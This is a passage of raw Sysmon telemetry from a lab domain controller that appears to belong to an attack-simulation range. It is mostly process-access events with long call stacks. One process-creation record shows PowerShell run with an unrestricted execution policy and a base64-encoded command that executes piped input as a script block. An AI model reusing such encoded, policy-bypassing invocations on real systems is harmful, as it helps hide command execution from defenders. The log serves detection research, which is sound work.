+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000105Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.111{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000104Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.111{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000103Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.111{A5F018FF-2897-5F80-F902-000000007E01}44684500C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2898-5F80-FA02-000000007E01}3196C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|UNKNOWN(00007FFF76C0331B)|UNKNOWN(00007FFF760A41A5)|UNKNOWN(00007FFF760A3E76)|UNKNOWN(00007FFF76B554DB)|UNKNOWN(00007FFF76064A0C)|UNKNOWN(00007FFF760C2EDB)|UNKNOWN(00007FFF760A6540)|UNKNOWN(00007FFF760A6540)|UNKNOWN(00007FFF760A63D1)|UNKNOWN(00007FFF76098356)|UNKNOWN(00007FFF760A4889)|UNKNOWN(00007FFF760A447C)|UNKNOWN(00007FFF760A41A5)|UNKNOWN(00007FFF760A3E76)|UNKNOWN(00007FFF76B554DB)|UNKNOWN(00007FFF7608ACD7)|UNKNOWN(00007FFF7608A2A7) 10341000x8000000000000000102Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.111{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000101Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.111{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000100Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.111{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000099Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.111{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000098Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.111{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000097Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.111{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x800000000000000096Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.122{A5F018FF-2898-5F80-FA02-000000007E01}3196C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2897-5F80-B059-110000000000}0x1159b00HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2897-5F80-F902-000000007E01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x800000000000000095Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.065{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-2897-5F80-F902-000000007E01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000094Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.065{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-2897-5F80-F902-000000007E01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x800000000000000093Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.033{A5F018FF-2897-5F80-F902-000000007E01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_luk5xb1m.cgw.ps12020-10-09 09:08:40.033 10341000x800000000000000092Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.018{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2897-5F80-F902-000000007E01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000091Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.986{A5F018FF-2897-5F80-F702-000000007E01}41282984C:\Windows\system32\conhost.exe{A5F018FF-2897-5F80-F902-000000007E01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000090Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.986{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000089Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.986{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000088Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.986{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000087Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.986{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000086Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.986{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.